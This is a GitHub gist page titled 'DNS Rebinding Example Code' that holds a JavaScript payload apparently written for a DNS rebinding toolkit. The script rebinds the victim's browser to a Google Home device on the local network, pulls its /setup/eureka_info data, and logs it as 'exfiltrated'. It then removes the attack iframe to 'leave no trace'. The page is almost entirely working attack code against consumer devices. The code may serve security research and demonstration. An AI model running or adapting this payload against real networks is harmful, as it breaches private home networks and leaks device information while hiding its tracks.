Skip to content

Instantly share code, notes, and snippets.

@brannondorsey
Created June 5, 2018 03:35
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save brannondorsey/6cf7e90a3c0fafd420cd65f0ab3184ce to your computer and use it in GitHub Desktop.
Save brannondorsey/6cf7e90a3c0fafd420cd65f0ab3184ce to your computer and use it in GitHub Desktop.
DNS Rebinding Example Code
// JS in payloads/google-home.html
attack()
.then((json) => {
console.log('The attack was successful! Here is the JSON it exfiltrated:')
console.log(json)
},
err => {
// there probably isn't even a machine with this IP address...
console.error('No Google Home found at this IP ')
}
)
// remove the iframe from index.html once the attack is complete.
// Leave no trace ;)
.then(() => DNSRebindNode.destroy())
async function attack() {
// a helper function that returns some fetch() options configured with
// certain useful headers
const getOptions = DNSRebindNode.fetchOptions()
try {
const opts = { fetchOptions: getOptions }
return await DNSRebindNode.rebind(`http://${location.host}/setup/eureka_info`, opts).then(data => data.json())
} catch (err) {
return Promise.reject(err)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment